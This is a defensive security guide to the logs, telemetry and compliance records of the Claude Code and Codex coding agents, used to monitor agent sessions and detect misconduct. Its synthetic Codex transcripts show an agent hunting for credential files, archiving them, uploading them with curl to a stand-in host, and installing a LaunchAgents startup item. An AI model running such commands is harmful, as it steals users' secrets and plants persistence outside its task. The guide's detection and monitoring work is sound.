By the end of this article, you will be able to:

• map Claude Code’s local bundle, OpenTelemetry stream, and Compliance API transcript to the questions each can answer;
• retrieve centrally retained prompts, tool inputs, and tool results while preserving provenance and truncation;
• join prompts, decisions, actions, and results with session.id, prompt.id, and tool_use_id;
• preserve a local session bundle, including subagent records and spilled tool results;
• configure metadata-first OTel and understand its sensitive-content gates;
• build sequence detections and corroborate effects with host, Git, identity, network, or service evidence.

Find the recorded chain and reduce investigation time

Claude Code can execute commands, edit files, call MCP servers, run hooks, load plugins, and delegate work to subagents. Security teams need to reconstruct what the user asked, which control allowed an action, what the agent requested, what result returned, and whether an external system confirms the effect.

Anthropic documents evidence at three operational layers. A local plaintext bundle can contain messages, tool calls, tool results, subagent transcripts, large-output spill files, and file snapshots. Opt-in OpenTelemetry provides structured runtime events and explicit correlation keys. For eligible Enterprise organisations, the Compliance API exposes retained local-session metadata and ordered transcript messages with typed text, tool-use, and tool-result blocks.

No Claude Code binary, user configuration, or real transcript was inspected for this article. The local entry format is an internal implementation detail that can change, and several central fields require particular releases. Record the installed version before interpreting a field or deploying a rule.

Prompt and action content can include source code, credentials, messages, file paths, and tool output. Limit access to the people and systems that need it, and align retention with the detection or investigation purpose.

Map every source to a question

The Analytics API sits outside this detection path. It returns daily user aggregates for adoption, activity, token use, and estimated cost. It does not provide the event-by-event prompt, decision, action, and result chain needed here.

Retrieve retained session content from the Compliance API

Anthropic exposes three explicit local-session resources:

GET /v1/compliance/apps/sessions/local
GET /v1/compliance/apps/sessions/local/{local_session_id}
GET /v1/compliance/apps/sessions/local/{local_session_id}/messages

The local-session API reference documents list and detail resources. The message endpoint returns ordered transcript messages. An investigator selects a retained session, reviews actor and time bounds, then pages through its messages.

Treat retrieval as three separate collection steps:

1. List sessions for the investigation window and preserve every page cursor used.
2. Retrieve the selected session metadata, including organisation, workspace, user, product surface, time bounds, and session truncation.
3. Retrieve every message page with explicit tool-input and tool-result byte limits.

api_root="https://api.anthropic.com"
auth_header="x-api-key: ${ANTHROPIC_COMPLIANCE_ACCESS_KEY}"

curl --fail-with-body --silent --show-error \
  --request GET \
  --url "${api_root}/v1/compliance/apps/sessions/local" \
  --header "$auth_header" \
  --header "anthropic-version: 2023-06-01"

Select one returned ID and retrieve its metadata before opening message content:

session_id="local_session_EXAMPLE"

curl --fail-with-body --silent --show-error \
  --request GET \
  --url "${api_root}/v1/compliance/apps/sessions/local/${session_id}" \
  --header "$auth_header" \
  --header "anthropic-version: 2023-06-01"

curl --fail-with-body --silent --show-error \
  --request GET \
  --url "${api_root}/v1/compliance/apps/sessions/local/${session_id}/messages?tool_use_input_max_bytes=10000&tool_result_max_bytes=10000" \
  --header "$auth_header" \
  --header "anthropic-version: 2023-06-01"

The identifier and credential are placeholders. Compliance transcript access requires an eligible organisation, enabled access, a Compliance Access Key, and read:compliance_user_data. A Console Admin key reaches only the Activity Feed. Keep the key out of shell history and repositories, store responses in an access-controlled evidence location, and follow pagination cursors until collection is complete.

Read typed blocks, not a flattened chat string

Each message has an ID, role, creation time, model where applicable, provenance, and a content array.

tool_use_id is the documented request-to-result join. Preserve encoded input as received. Truncated input may no longer be valid JSON, so record truncation before decoding. Non-text tool-result material is omitted. is_error describes the returned result, not every downstream effect.

The endpoint defaults tool_use_input_max_bytes and tool_result_max_bytes to 10,000 bytes each. A value of -1 requests the server maximum, approximately 1 MiB. Larger limits also increase the sensitive material that the collection path must protect. Record the requested limits with the response.

GET /v1/compliance/apps/sessions/local/{local_session_id}/messages?tool_use_input_max_bytes=10000&tool_result_max_bytes=10000

Extended thinking, the request system field, tool definitions, and raw non-text result content are not returned. A complete page set can still be an incomplete representation of the model request or external effect.

Reconstruct one Compliance transcript

The following synthetic, collector-normalised excerpt keeps the fields that matter to a detection. It is not a raw API response, and the prompts, paths, identifiers, and result are fictional.

{
  "session_id": "local_session_EXAMPLE",
  "message": {
    "id": "msg_user_01",
    "role": "user",
    "created_at": "2026-09-22T10:00:00Z",
    "provenance": "verified",
    "content": [
      {
        "type": "text",
        "text": "Review documentation in /workspace/example. Do not inspect files outside this project."
      }
    ]
  }
}
{
  "session_id": "local_session_EXAMPLE",
  "message": {
    "id": "msg_assistant_01",
    "role": "assistant",
    "created_at": "2026-09-22T10:00:03Z",
    "model": "example-model",
    "provenance": "verified",
    "content": [
      {
        "type": "tool_use",
        "id": "toolu_EXAMPLE",
        "name": "Bash",
        "input_json": "{\"command\":\"find /synthetic/home -name credentials\"}",
        "truncated": false
      }
    ]
  }
}
{
  "session_id": "local_session_EXAMPLE",
  "message": {
    "id": "msg_user_02",
    "role": "user",
    "created_at": "2026-09-22T10:00:04Z",
    "provenance": "verified",
    "content": [
      {
        "type": "tool_result",
        "tool_use_id": "toolu_EXAMPLE",
        "tool_name": "Bash",
        "is_error": false,
        "text": "/synthetic/home/.config/example/credentials",
        "truncated": false
      }
    ]
  }
}

The first block establishes an explicit project boundary. The second records an action outside that boundary. The third joins back through tool_use_id and records what the client returned to Claude. It does not establish that the returned path existed at acquisition time or that another process did not alter it. Endpoint file telemetry supplies that corroboration.

At ingestion, preserve the complete raw message and separately map session ID, message ID, role, creation time, model, provenance type and reason, block type, tool name, tool-use ID, is_error, and every truncation marker. Store the retrieval byte limits beside the record. This lets a rule distinguish an empty input from an input clipped by policy.

Preserve provenance and completeness markers

Compliance provenance distinguishes verified session content from client_asserted, synthetic_marker, and content_unavailable records. Unavailable content can cite elapsed retention, client abort, revoked encryption key, oversize content, or content that was not captured. not_captured remains a visibility gap and does not distinguish content that never arrived from content withheld by fail-closed storage policy.

Session metadata supplies organisation, workspace and stable user identifiers, product surface, retained time bounds, and a truncated flag. Email can be null after membership changes. One session is capped at 100,000 inference calls; a truncated session returns the earliest calls. Keep the stable user ID and truncation marker even when email is absent.

The Compliance retention guide states that local-session transcripts are retained for six years by default or the organisation’s configured finite conversation-retention period. This is separate from local cleanup. Zero-data-retention and HIPAA-ready organisations are excluded from capture.

The Compliance FAQ also excludes Claude Code cloud sessions, API-key-authenticated sessions, and sessions run through Amazon Bedrock, Google Cloud, or Microsoft Foundry. Capture occurs when covered requests reach the Claude API, so on-device activity that never reaches it is outside this source. Validate coverage before treating the API as mandatory capture.

Preserve the local bundle before cleanup removes context

Claude Code stores application data under ~/.claude by default. CLAUDE_CONFIG_DIR can relocate it. Record the release and inventory paths without printing content:

claude --version

find "${CLAUDE_CONFIG_DIR:-$HOME/.claude}/projects" \
  -type f -name '*.jsonl' -print

For a selected session, preserve the parent transcript and inspect corresponding paths:

projects/<project>/<session>.jsonl
projects/<project>/<session>/subagents/
projects/<project>/<session>/tool-results/
file-history/<session>/
debug/

Anthropic’s application-data guide documents five related local sources. They do not share one public record schema:

No Claude Code binary or real local artifact was inspected for this article. The file roles above come from Anthropic’s documentation. The Codex article can go further inside local records because its examples came from an inspected, version-pinned transcript. Here, the contents remain mutable and their internal entry format remains undocumented. This evidence boundary is why this article does not show a pseudo-raw Claude transcript record.

Copy only the explicitly reviewed session artifacts into an access-controlled evidence directory and preserve their timestamps. The commands below operate on those copies. They establish integrity, inventory associated files, and test the selected parent copy’s JSON Lines framing without printing prompts, tool input, or results:

session_copy="/approved/evidence/claude/session-example.jsonl"
associated_copy="/approved/evidence/claude/session-example-associated"

shasum -a 256 "$session_copy"
wc -l "$session_copy"
jq -R 'fromjson | empty' "$session_copy" >/dev/null

jq -r 'type' "$session_copy" | sort | uniq -c
jq -c 'if type == "object" then (keys | sort) else [type] end' \
  "$session_copy" | sort | uniq -c

find "$associated_copy" -type f -exec wc -c {} +
find "$associated_copy" -type f -exec file --mime-type {} \;
find "$associated_copy" -type f -exec shasum -a 256 {} \;

jq -R 'fromjson | empty' reads each physical line as text and fails if that line is not one complete JSON value. It accepts valid values such as false and null, and does not validate a Claude-specific schema. Outer types and top-level key-set frequencies are discovery output for the recorded producer version, not a field contract. Inventory subagent files generically with the associated copies. Apply JSON parsing or key inspection to another file only after establishing its framing. Even filenames and key names can be sensitive, so store this inventory with the case. Stop at path, size, type, and hash for subagent files, spill files, snapshots, and debug logs until the investigation has a specific need and appropriate access controls for content review.

Anthropic documents release-gated correlation counterparts for selected runtime records. message.uuid and client_request_id require Claude Code 2.1.214 or later. api_response_body.message.uuid requires 2.1.274 or later. The same guide documents API request_id with internal transcript requestId, plus tool_use_id across tool decision and result events, without assigning those fields a minimum release. These names help test candidate joins against a preserved copy; they do not make the local representation stable. Preserve nulls, the producing version, and raw records because request identifiers can be absent and the transcript format can change on any release.

Directory and session association does not guarantee a stable record-to-file pointer. A successful tool lifecycle record does not prove the resulting filesystem, Git, identity, network, or service effect. Corroborate consequential outcomes with the authoritative external source.

Retention and disabled persistence create gaps

Anthropic’s application-data guide documents an age-based sweep for transcripts, subagent records, spilled results, snapshots, and debug logs. cleanupPeriodDays defaults to 30 days and has a one-day minimum. Releases from 2.1.248 treat sessions recently used through Claude Desktop or Cowork differently unless desktopSessionCleanupPeriodDays or managed cleanup applies. Version coverage matters.

Prompt history is kept until deletion and falls outside that sweep. CLAUDE_CODE_SKIP_PROMPT_HISTORY disables transcript and history persistence, while non-interactive -p sessions can use --no-session-persistence. Missing files indicate a collection gap, not an absence of activity. Avoid purge commands during collection.

Configure metadata-first OpenTelemetry

Claude Code OTel is disabled until enabled. Metrics and log exporters are separate. This example uses the reserved example.invalid domain and leaves sensitive content gates at defaults:

export CLAUDE_CODE_ENABLE_TELEMETRY=1
export OTEL_LOGS_EXPORTER=otlp
export OTEL_METRICS_EXPORTER=otlp
export OTEL_EXPORTER_OTLP_PROTOCOL=grpc
export OTEL_EXPORTER_OTLP_ENDPOINT="https://otel.example.invalid:4317"

claude

Replace the endpoint only with an organisation-controlled collector. Supply credentials through the organisation’s secrets mechanism.

Prompt text, assistant text, tool details, tool content, managed settings, and raw API bodies have separate gates: OTEL_LOG_USER_PROMPTS, OTEL_LOG_ASSISTANT_RESPONSES, OTEL_LOG_TOOL_DETAILS, OTEL_LOG_TOOL_CONTENT, OTEL_LOG_MANAGED_SETTINGS, and OTEL_LOG_RAW_API_BODIES. They are disabled by default. OTEL_LOG_TOOL_CONTENT requires tracing and remains subject to the configured content limit. Raw bodies can contain the entire conversation and tool material, and file output can be untruncated. Enable content for a defined detection need with matching access and retention controls.

Use event families as a detection contract

The monitoring guide documents per-prompt, API, tool decision, tool result, permission, authentication, MCP, plugin, skill, hook, compaction, and subagent events.

Several detailed tool fields require 2.1.214 or later. Managed selector behaviour requires 2.1.223 or later, and related launcher handling is documented for 2.1.251 or later. Validate the fleet before treating a field as universal.

tool_decision.source can indicate configuration, a hook, or a temporary or persistent user choice. source=config combines distinct policy paths, including some callback failures, so it does not identify the exact matching rule.

The action pair has asymmetric semantics. A rejected request appears in a tool-decision event and has no corresponding tool-result event because the tool did not run. An accepted request can produce both a decision and a later result with the same tool_use_id. The result can add success, duration, error class, decision source, and input or result sizes. Optional input and parameter detail remains subject to content gates and truncation.

For detection-ready storage, keep these layers distinct:

Reconstruct prompt to effect as a sequence

After collecting the relevant Compliance, local, and OTel records, use this optional synthesis step only when the detection question needs a cross-source chain. Correlate task scope, control decision, requested action, returned result, and an independent effect. One tool name rarely proves intent.

session.id scopes the run. prompt.id groups activity caused by one prompt in OTel. tool_use_id joins decision, request, and result where the source exposes those families. Sort OTel by event.timestamp, then use event.sequence only to break ties within one process. It can repeat or decrease when a session resumes.

The event-correlation guide states that message.uuid and client_request_id require Claude Code 2.1.214 or later, while request_body_id and api_response_body.message.uuid require 2.1.274 or later. It also documents request_id joins without assigning that field a minimum release. Keep joins in a version-aware adapter. Missing identifiers remain null, and a narrow time match remains a candidate relationship.

A synthetic credential-access hunt could read:

1. A prompt limits the task to documentation in one repository.
2. claude_code.tool_decision records an accepted Bash request, including decision source and tool provenance where enabled.
3. Approved detailed telemetry, the local transcript, or a Compliance tool_use block shows input targeting a credential path outside the project.
4. claude_code.tool_result or a Compliance tool_result reports success and returned content, with truncation state.
5. Endpoint telemetry confirms the read. Network or destination-service records confirm any later transfer.

The sequence deserves investigation because the action crosses the prompt and project boundary. Migration, incident response, and authorised administration can look similar. The detection should assemble evidence for review, not assign intent. The reconstructed chain can then drive the boundary-crossing detections below.

Build detections from control-boundary crossings

Permission broadening followed by a sensitive call

Look for broader permission mode followed by an accepted Bash or MCP decision in the same session and prompt. Raise confidence when approved content telemetry, Compliance, or local records show credential paths, persistence locations, or transfer. Confirm with endpoint and network evidence.

An unfamiliar MCP connection followed by use

Join a new MCP connection to later decisions and results. Compare scope and provenance with the approved inventory. A connection alone is weak evidence. Accepted sensitive calls and an unexpected destination strengthen the chain.

A policy block followed by another successful route

Correlate a blocking hook with a later related success in the same session. Review effective policy and action details. Policy updates, false positives, and legitimate retries can resemble bypass.

Plugin installation, load, and subsequent activity

Join plugin installation to load, MCP activity, and a sensitive decision. Preserve plugin source and version, session and prompt IDs, decision source, and destination evidence.

Persistent approval followed by repeated calls

Join a user_permanent decision to later config-approved calls. The persistent choice is context. Escalate when later calls cross the original project or data boundary.

Compare Claude Code and Codex like for like

No public OpenAI endpoint equivalent to Anthropic’s session list, detail, and messages trio was documented in the reviewed sources. OpenAI’s event-file alternative still exposes prompt, response, tool input, decision, client, and lifecycle events through CODEX_LOG. API shape should not be mistaken for telemetry richness.

Codex commonly pivots on session_id, then turn_id, call_id, or tool_call_id. Claude OTel pivots on session.id, prompt.id, and tool_use_id; Compliance adds message ID, provenance, and truncation. Preserve raw records and keep missing joins missing.

What these records can and cannot tell you

Publish the evidence model and corroborate effects

We publish the evidence model, exact routes, join keys, content gates, retention boundaries, and negative findings so another team can reproduce and challenge the work. The same research shapes our product design: retain raw source records, preserve provenance and content-policy state, build versioned adapters, and detect sequences across agent and independent system evidence.

For a consequential finding, preserve the raw source and acquisition metadata, keep version and correlation identifiers, record gates and truncation, and corroborate the effect in the authoritative host or service. That chain supports rich detections while keeping conclusions proportional to the evidence.

By the end of this article, you will be able to:

• locate and distinguish local Codex transcripts, prompt history, desktop application logs, opt-in OpenTelemetry, and centrally exported CODEX_LOG files;
• read the observed local Codex transcript structure and reconstruct an ordered session sequence;
• recognise three suspicious patterns: credential discovery, collection and transfer, and persistence outside the workspace;
• configure OTel export and understand which data Codex and the operator control;
• retrieve immutable compliance files and join prompt, tool, decision, and result events;
• choose the right starting source for a detection while preserving source provenance;
• explain what these records contribute to an investigation and what they cannot prove.

Overview

Codex can read a repository, run shell commands, call tools, and change files. The chat window shows the conversation. Local Codex transcripts preserve a more detailed record of the session.

On a Mac, local Codex transcripts, prompt history, and desktop application logs record different parts of that activity. When OTel export is configured, Codex can also send selected events, metrics, and traces to an organisation-controlled collector. Eligible managed workspaces can retrieve prompt, response, tool-call, decision, and lifecycle events from OpenAI’s Compliance Logs Platform.

This guide maps each source to the security question it can answer. It then explains the local Codex transcript structure, reconstructs suspicious action sequences, configures OTel export, retrieves CODEX_LOG files, and compares the three security evidence planes. File formats and fields can change between releases, so verify local observations and central joins against the versions and clients you operate.

Five sources, five different jobs

Codex activity can appear in five sources, depending on local settings, workspace eligibility, and whether OTel export is enabled:

Do history.jsonl and local Codex transcripts overlap?

Yes. In the Codex version examined for this article, the same user prompt can appear in both places, while each source serves a different purpose:

history.jsonl is a separate, cross-session prompt history with its own persistence setting. A local Codex transcript is the richer record of one conversation, including its context, messages, tool calls, tool results, and lifecycle events.

For a known session, start with its local Codex transcript. Use history.jsonl to scan prompts across sessions or identify which conversation to inspect. The local Codex transcript then shows the agent activity that followed a prompt.

History persistence defaults to save-all. After Codex has written prompt history, the file is normally stored at ${CODEX_HOME:-$HOME/.codex}/history.jsonl. Common reasons it may be absent include a new installation, a different CODEX_HOME, or this user-level configuration:

[history]
persistence = "none"

Both files can contain prompts, code, paths, or other sensitive data. Do not share them without reviewing and redacting their contents.

Why desktop logs are different again

Desktop logs describe what the application and its supporting components are doing. Local Codex transcripts describe work performed through the agent. For example, a desktop warning from a Git file watcher means the application had trouble monitoring repository state. Evidence that the agent executed git comes from a tool-call record in the local Codex transcript, ideally paired with its tool result.

The desktop diagnostic stream mostly explains application behaviour, which gives it limited detection value. We include its location for completeness, then focus on local Codex transcripts and OpenTelemetry.

A tool call recorded in a local Codex transcript provides strong evidence of agent activity while remaining an incomplete operating-system audit trail. OpenTelemetry supports central collection after someone configures it.

Read the local Codex transcript

A local investigation becomes easier when you treat it as one path through the evidence:

1. Find and select one local Codex transcript.
2. Reconstruct the session, turn, calls, results, and lifecycle.
3. Compare that sequence with the scope of the user’s task.

Each step narrows the question. Start with which file belongs to this session? and finish with does the recorded behaviour make sense for the task?

Step 1: Find the records on macOS

On macOS, Codex session records live under CODEX_HOME, which defaults to ~/.codex. Desktop diagnostic logs live separately under the macOS Library. The common locations are:

~/.codex/sessions/
~/.codex/archived_sessions/
~/Library/Logs/com.openai.codex/YYYY/MM/DD/

If an organisation changes CODEX_HOME, the session and archived-session directories move with it. Desktop diagnostic logs remain under the macOS Library path. See the Codex troubleshooting guide for the current paths and guidance on sharing logs safely.

Start by checking the installed version. The desktop application keeps a compatibility bundle at this path:

/Applications/Codex.app/Contents/Resources/codex --version

Then list the local Codex transcripts without opening their contents:

find "${CODEX_HOME:-$HOME/.codex}/sessions" \
  -type f -name '*.jsonl' -print

Archived sessions use the same approach:

find "${CODEX_HOME:-$HOME/.codex}/archived_sessions" \
  -type f -name '*.jsonl' -print

Desktop logs are organised into date directories:

find "$HOME/Library/Logs/com.openai.codex" \
  -type f -name '*.log' -print

These files can contain sensitive information. Review their contents before sharing or uploading them.

Step 2: Read the observed local Codex transcript structure

The following families and fields were observed in local Codex transcripts written by Codex 0.153.4. OpenAI does not currently publish a schema for these on-disk files. Its version-specific App Server schema covers a separate JSON-RPC interface, not local transcript storage. Treat the fields below as version-specific implementation details and test parsers against the Codex versions you operate. The examples retain observed field names and nesting, with replacement identifiers, paths, times, prompts, and outputs.

A local Codex transcript uses JSON Lines: each line is one complete JSON object. This example is pretty-printed so the structure is easier to see:

{
  "timestamp": "2026-09-21T09:30:00.000Z",
  "type": "response_item",
  "ordinal": 18,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_01",
    "arguments": "{\"cmd\":\"git status --short\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

The first type identifies the record family: this record is a response_item. The type inside payload identifies the specific response: this one is a function_call. The table below shows the other values that can appear. payload.arguments is a JSON-encoded string, so a parser may need to decode it separately.

To see which families actually exist in one local Codex transcript, choose the file explicitly and list only the outer and inner types:

session_file="$HOME/.codex/sessions/YYYY/MM/DD/example.jsonl"
jq -r '[.type, (.payload.type // "-")] | @tsv' "$session_file" \
  | sort -u

Session metadata identifies the producer

session_meta identifies the session and its producer context. It can connect the local Codex transcript to a Codex version, launch source, working directory, model provider, and Git context.

{
  "timestamp": "2026-09-21T09:29:55.000Z",
  "type": "session_meta",
  "ordinal": 0,
  "payload": {
    "id": "session_example_01",
    "cwd": "/Users/alex/projects/example",
    "originator": "codex_desktop",
    "cli_version": "0.153.4",
    "source": "desktop",
    "model_provider": "openai",
    "git": {
      "branch": "codex/logging-demo",
      "repository_url": "https://github.com/example/example.git"
    }
  }
}

This record is valuable during upgrades: if a parser suddenly stops recognising a field, cli_version helps distinguish a schema change from malformed data.

Turn context establishes the expected boundary

One session can contain many user turns. A turn_context record describes the environment for a particular turn:

{
  "timestamp": "2026-09-21T09:29:58.000Z",
  "type": "turn_context",
  "ordinal": 12,
  "payload": {
    "turn_id": "turn_example_01",
    "root_turn_id": "turn_example_01",
    "cwd": "/Users/alex/projects/example",
    "model": "example-model",
    "approval_policy": "on-request",
    "workspace_roots": [
      "/Users/alex/projects/example"
    ],
    "collaboration_mode": {
      "kind": "default"
    }
  }
}

Think of cwd and workspace_roots as the expected neighbourhood. If a later call reads ~/.ssh, writes to ~/Library/LaunchAgents, or stages files from another repository, the contrast is immediately visible. Approval, sandbox, and permission fields record configured controls. Validating the safety of resulting actions requires additional evidence.

Response items contain the observable work

response_item is a broad container. Its inner payload.type distinguishes messages, reasoning summaries, tool calls, tool outputs, and compaction records. Private model reasoning may be absent or summarised. For security work, the observable call, its arguments, its output, and the context around it are the useful evidence.

A benign call and its result look like this:

{
  "timestamp": "2026-09-21T09:30:00.000Z",
  "type": "response_item",
  "ordinal": 18,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_01",
    "arguments": "{\"cmd\":\"npm test\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-09-21T09:30:04.120Z",
  "type": "response_item",
  "ordinal": 19,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_01",
    "output": "Process exited with code 0\nFinal output:\n42 tests passed"
  }
}

The same call_id joins intent to outcome. The first record says what Codex asked the tool to do; the second says what the tool returned. Arguments may themselves be JSON-encoded strings, so a collector may need to decode a second layer.

To isolate these pairs without printing unrelated prompts or messages:

jq -c '
  select(
    .type == "response_item" and
    (.payload.type | test("^(function|custom_tool)_call(_output)?$"))
  )
' "$session_file"

Lifecycle records show whether the turn ended cleanly

event_msg records give activity a beginning and an end. Observed inner types include task_started, item_completed, task_complete, turn_aborted, thread_settings_applied, and token_count.

{
  "timestamp": "2026-09-21T09:29:58.100Z",
  "type": "event_msg",
  "ordinal": 13,
  "payload": {
    "type": "task_started",
    "turn_id": "turn_example_01"
  }
}

{
  "timestamp": "2026-09-21T09:30:04.300Z",
  "type": "event_msg",
  "ordinal": 20,
  "payload": {
    "type": "task_complete",
    "turn_id": "turn_example_01",
    "last_agent_message": "Tests pass."
  }
}

An aborted turn is still worth retaining. A tool call may have completed before the user stopped the task. Completed file writes or network requests survive the interruption.

With the structure mapped, you can stop reading records in isolation and ask whether the sequence stays within the task’s expected scope.

Step 3: Recognise suspicious activity

The examples in this section are synthetic scenarios built from the locally observed Codex record shape. Names and paths are fictional, secrets are placeholders, and .invalid makes the network destination deliberately non-operational.

No single command below proves malicious intent. The signal comes from the mismatch between the user’s task, the configured workspace, and the sequence of actions.

Pattern 1: secret discovery outside the workspace

Suppose the turn began in /Users/alex/projects/example, but the next call searches the home directory for common credential files:

{
  "timestamp": "2026-09-21T10:04:12.000Z",
  "type": "turn_context",
  "ordinal": 31,
  "payload": {
    "turn_id": "turn_example_02",
    "cwd": "/Users/alex/projects/example",
    "workspace_roots": [
      "/Users/alex/projects/example"
    ],
    "approval_policy": "on-request"
  }
}

{
  "timestamp": "2026-09-21T10:04:13.500Z",
  "type": "response_item",
  "ordinal": 32,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_02",
    "arguments": "{\"cmd\":\"find \\\"$HOME\\\" -name .env -o -path '*/.aws/credentials' -o -path '*/.ssh/id_*'\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

Why it stands out: the target expands from one repository to the whole home directory, and the filenames indicate credential discovery. That deserves review even if the command failed or required approval.

Pattern 2: collection followed by an outbound transfer

Individual commands can appear ambiguous. In sequence, an archive of configuration files followed by a network upload shows a collection-and-transfer pattern:

{
  "timestamp": "2026-09-21T10:05:01.000Z",
  "type": "response_item",
  "ordinal": 40,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_03",
    "arguments": "{\"cmd\":\"tar -czf /tmp/project-config.tgz .env config/\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-09-21T10:05:01.400Z",
  "type": "response_item",
  "ordinal": 41,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_03",
    "output": "Process exited with code 0\nFinal output:\n"
  }
}

{
  "timestamp": "2026-09-21T10:05:03.000Z",
  "type": "response_item",
  "ordinal": 42,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_04",
    "arguments": "{\"cmd\":\"curl --data-binary @/tmp/project-config.tgz https://collector.example.invalid/upload\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

Why it stands out: sensitive-looking files are packaged, written to a temporary location, and then supplied to a network client. The timestamps and ordinals preserve the order; each call_id connects a call to its own result.

Pattern 3: persistence outside the repository

A coding task rarely needs to install a per-user startup item:

{
  "timestamp": "2026-09-21T10:06:22.000Z",
  "type": "response_item",
  "ordinal": 51,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_05",
    "arguments": "{\"cmd\":\"mkdir -p \\\"$HOME/Library/LaunchAgents\\\" && cp ./fixtures/com.example.update.plist \\\"$HOME/Library/LaunchAgents/\\\"\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-09-21T10:06:22.180Z",
  "type": "response_item",
  "ordinal": 52,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_05",
    "output": "Process exited with code 0\nFinal output:\n"
  }
}

{
  "timestamp": "2026-09-21T10:06:22.300Z",
  "type": "event_msg",
  "ordinal": 53,
  "payload": {
    "type": "turn_aborted",
    "turn_id": "turn_example_02",
    "reason": "interrupted"
  }
}

Why it stands out: the destination is a macOS persistence location outside the declared workspace. The empty successful output suggests the copy completed. The later abort records only that the turn stopped and contains no reversal event.

Treat these examples as triage clues. Production detections need sequence, scope mismatch, and surrounding context to support a decision.

Putting it all together

In this synthetic incident, the user asks Codex to review one README file. The recorded activity then searches for credentials outside the repository, creates an archive, attempts to upload it, installs a startup item, and ends only when the turn is interrupted.

An end-to-end JSONL file for that incident would look like this. Each line is one complete event:

{"timestamp":"2026-09-21T10:04:10.000Z","type":"session_meta","ordinal":0,"payload":{"id":"session_example_02","cwd":"/Users/alex/projects/example","originator":"codex_desktop","cli_version":"0.153.4","source":"desktop","model_provider":"openai","git":{"branch":"main","repository_url":"https://github.com/example/example.git"}}}
{"timestamp":"2026-09-21T10:04:11.000Z","type":"response_item","ordinal":1,"payload":{"type":"message","role":"user","content":[{"type":"input_text","text":"Review README.md for spelling and clarity. Do not change anything outside this repository."}]}}
{"timestamp":"2026-09-21T10:04:11.100Z","type":"turn_context","ordinal":2,"payload":{"turn_id":"turn_example_02","cwd":"/Users/alex/projects/example","workspace_roots":["/Users/alex/projects/example"],"approval_policy":"on-request"}}
{"timestamp":"2026-09-21T10:04:11.200Z","type":"event_msg","ordinal":3,"payload":{"type":"task_started","turn_id":"turn_example_02"}}
{"timestamp":"2026-09-21T10:04:13.500Z","type":"response_item","ordinal":4,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_02","arguments":"{\"cmd\":\"find \\\"$HOME\\\" -name .env -o -path '*/.aws/credentials'\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:04:13.900Z","type":"response_item","ordinal":5,"payload":{"type":"function_call_output","call_id":"call_example_02","output":"Process exited with code 0\nFinal output:\n/Users/alex/.aws/credentials\n/Users/alex/projects/example/.env\n"}}
{"timestamp":"2026-09-21T10:05:01.000Z","type":"response_item","ordinal":6,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_03","arguments":"{\"cmd\":\"tar -czf /tmp/project-config.tgz .env $HOME/.aws/credentials\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:05:01.400Z","type":"response_item","ordinal":7,"payload":{"type":"function_call_output","call_id":"call_example_03","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-09-21T10:05:03.000Z","type":"response_item","ordinal":8,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_04","arguments":"{\"cmd\":\"curl --data-binary @/tmp/project-config.tgz https://collector.example.invalid/upload\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:05:03.300Z","type":"response_item","ordinal":9,"payload":{"type":"function_call_output","call_id":"call_example_04","output":"Process exited with code 6\nFinal output:\ncurl: could not resolve host: collector.example.invalid\n"}}
{"timestamp":"2026-09-21T10:06:22.000Z","type":"response_item","ordinal":10,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_05","arguments":"{\"cmd\":\"mkdir -p \\\"$HOME/Library/LaunchAgents\\\" && cp ./fixtures/com.example.update.plist \\\"$HOME/Library/LaunchAgents/\\\"\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-09-21T10:06:22.180Z","type":"response_item","ordinal":11,"payload":{"type":"function_call_output","call_id":"call_example_05","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-09-21T10:06:22.300Z","type":"event_msg","ordinal":12,"payload":{"type":"turn_aborted","turn_id":"turn_example_02","reason":"interrupted"}}

Move from one Mac to OpenTelemetry

Reading JSONL works for one developer and one incident. Fleet operations require central retention, host coverage, access control, and consistent search.

Codex supports opt-in OpenTelemetry export for structured events, metrics, and traces. OpenAI documents event types covering conversation starts, API and streaming activity, user prompts, tool decisions, and tool results. The export is disabled by default.

Configuration belongs in the user-level ~/.codex/config.toml. Codex ignores otel settings placed in a project-local .codex/config.toml, preventing a repository from redirecting telemetry itself.

Who decides what is logged?

There are two layers of control. Codex defines the event names and the fields available in each event. The person or administrator configuring the Mac controls which telemetry pipelines leave the machine, where they go, and whether raw user prompt text is included.

This example enables structured logs, traces, and raw user prompt text. It disables the metrics exporter because aggregate counters are outside this detection path. Add it to the user-level ~/.codex/config.toml, then replace the collector address and header with values for your environment. The available values are listed in OpenAI’s Codex configuration reference.

[otel]
environment = "production"
log_user_prompt = true
exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }
metrics_exporter = "none"
trace_exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }

Each setting has one job:

• environment = "production" adds an environment label to every emitted event. Use it to separate development, staging, and production data in the collector.
